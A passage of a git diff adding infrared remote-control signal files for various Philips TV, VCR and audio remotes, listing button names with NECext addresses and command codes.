+name: KEY_8 +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 11 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 12 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 13 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 14 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 15 00 00 00 +# +name: MenuUp +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 16 00 00 00 +# +name: MenuLeft/Back +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 17 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 18 00 00 00 +# +name: Repeat/PrevChan +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 19 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 1A 00 00 00 +# +name: MenuSelect/OK +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 1B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 1C 00 00 00 +# +name: ScanBackwards/Rewind +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 1D 00 00 00 +# +name: ScanForwards/FastForward +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 1F 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: FF 00 00 00 +# +name: Exit/Return +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: FF 00 00 00 +# +name: Swap +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir new file mode 100644 index 000000000..d35b81c16 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: s.mode +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0A 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0D 00 00 00 +# +name: recall +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: mute +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 12 00 00 00 +# +name: vol+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 13 00 00 00 +# +name: vol- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 14 00 00 00 +# +name: power +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 15 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 16 00 00 00 +# +name: up +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 17 00 00 00 +# +name: down +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 18 00 00 00 +# +name: s.effect +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1B 00 00 00 +# +name: menu +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 22 00 00 00 +# +name: p.mode +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 27 00 00 00 +# +name: pip +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 28 00 00 00 +# +name: swap +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 29 00 00 00 +# +name: still +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2A 00 00 00 +# +name: position +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: pip_source +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2C 00 00 00 +# +name: p.fmt +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3D 00 00 00 +# +name: color_temp +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 82 00 00 00 +# +name: pixel_shift +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 83 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir new file mode 100644 index 000000000..54770a2da --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: repeat-a-b +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: usb +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7E 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C7 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D1 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir new file mode 100644 index 000000000..3189bf0a9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_STANDBY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: TV_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: TV_VOL_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: TV_VOL_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: TV_PRG_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: TV_PRG_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir new file mode 100644 index 000000000..6b36c954d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir @@ -0,0 +1,482 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: VCR_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: VCR_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: VCR_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: VCR_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: VCR_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: VCR_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: TV_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: VCR_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: VCR_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: TV_-/-- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: VCR_-/-- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: TV_STANDBY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: VCR_STANDBY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: TV_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: VCR_EJECT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0D 00 00 00 +# +name: TV_PP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: VCR_PP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0E 00 00 00 +# +name: TV_OSD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: VCR_OSD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0F 00 00 00 +# +name: TV_VOL_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: VCR_VOL_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 10 00 00 00 +# +name: TV_VOL_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: VCR_VOL_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: TV_BRIGHT_PLUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: VCR_BRIGHT_MINUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 12 00 00 00 +# +name: TV_BRIGHT_MINUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: VCR_BRIGHT_PLUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 13 00 00 00 +# +name: TV_COLOR_PLUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: VCR_COLOR_PLUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 14 00 00 00 +# +name: TV_COLOR_MINUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: VCR_COLOR_MINUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: TV_TEXT_MEMO_OUT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: TV_PRG_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: VCR_PRG_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: TV_PRG_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: VCR_PRG_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: VCR_MODE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: TV_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: VCR_SLEEP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: TV_TEXT_HOLD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: VCR_TEXT_HOLD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: TV_TEXT_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: VCR_SCAN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: VCR_TEXT_TIME +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: TV_TEXT_ENLARGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: VCR_TEXT_ENLARGE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: TV_TEXT_REVEAL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: VCR_TEXT_REVEAL +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: TV_TEXT_CANCEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: VCR_TEXT_CANCEL +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: TV_TEXT_MODE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: VCR_TEXT_MODE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: VCR_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: TV_TEXT_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: VCR_REV +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: TV_TEXT_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: VCR_FF +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: TV_TEXT_INDEX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: VCR_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: TV_TEXT_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: VCR_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: TV_TEXT_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: VCR_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: TV_SOURCE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: VCR_SOURCE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 38 00 00 00 +# +name: TV_TEXT_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: VCR_TEXT_SELECT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3C 00 00 00 +# +name: TV_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: VCR_SELECT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir new file mode 100644 index 000000000..4428d679a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: pp +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: dbb +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: stereo +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: spatial +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir new file mode 100644 index 000000000..a2568f116 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir @@ -0,0 +1,332 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: pp +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: bright+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: bright- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: color+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: color- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: tvtxt_freeze +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: tvtxt_large +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: tvtxt_background +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: teletext+tv +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: ext1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: ext2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: blue+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: red- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: off +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: pip +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: pip_move +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: pip_switch +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: pip_source +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 +# +name: pip_still +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 65 00 00 00 +# +name: pip_prog+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 66 00 00 00 +# +name: pip_prog- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 67 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: tvtxt_index +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 76 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir new file mode 100644 index 000000000..664606e2b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: n0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: n1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: n2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: n3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: n4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: n5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: n6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: n7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: n8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: n9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: scan +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir new file mode 100644 index 000000000..2f4cd7b78 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: tv-0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: tv-1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: tv-2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: tv-3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: tv-4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: tv-5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: tv-6 +type: 